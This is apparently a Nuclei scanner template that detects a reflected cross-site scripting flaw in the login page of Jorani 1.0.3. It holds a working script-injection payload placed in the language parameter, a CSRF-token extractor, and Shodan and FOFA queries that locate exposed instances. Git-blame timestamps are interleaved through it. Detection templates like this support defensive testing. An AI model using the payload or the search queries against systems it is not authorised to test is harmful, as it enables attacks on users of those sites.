2023-08-30 16:53:29 +00:00
id : jorani-benjamin-xss
info :
name : Jorani v1.0.3-2014-2023 Benjamin BALET - Cross-Site Scripting
author : ritikchaddha
2023-08-31 05:40:07 +00:00
severity : medium
2023-08-30 16:53:29 +00:00
description : |
The value of the `language request` parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75943";alert(1)//569 was submitted in the language parameter. This input was echoed unmodified in the application's response. The attacker can modify the token session and he can discover sensitive information for the server.
reference :
- https://packetstormsecurity.com/files/174341/Jorani-1.0.3-Cross-Site-Scripting.html
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 2
2023-08-31 05:37:44 +00:00
shodan-query : http.favicon.hash:-2032163853
2024-06-07 10:04:29 +00:00
product : jorani
vendor : jorani
fofa-query : icon_hash=-2032163853
2023-10-14 11:27:55 +00:00
tags : packetstorm,jorani,benjamin,xss
2023-08-30 16:53:29 +00:00
http :
- raw :
- |
GET /session/login HTTP/1.1
Host : {{Hostname}}
- |
POST /session/login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-08-31 05:37:44 +00:00
csrf_test_jorani={{csrf}}&last_page=session%2Flogin&language=en-GBarh5l%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ennois&login={{randstr}}&CipheredValue=
2023-08-30 16:53:29 +00:00
host-redirects : true
2023-10-14 11:27:55 +00:00
2023-08-30 16:53:29 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- "<script>alert(document.domain)</script>"
- "_jorani"
condition : and
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
extractors :
- type : regex
name : csrf
part : body
group : 1
regex :
- 'name="csrf_test_jorani" value="([0-9a-z]+)"'
internal : true
2023-11-27 09:19:41 +00:00
# digest: 4a0a00473045022100cc38189ac75a75d2bf20a193ba6010cf8ebb43bfa5caac873d92d810197f529302204f33dd0f46764896e1e9e6c84e50ff600e514724a86c9a0d8b025edcb27f1989:922c64590222798bb761d5b6d8e72950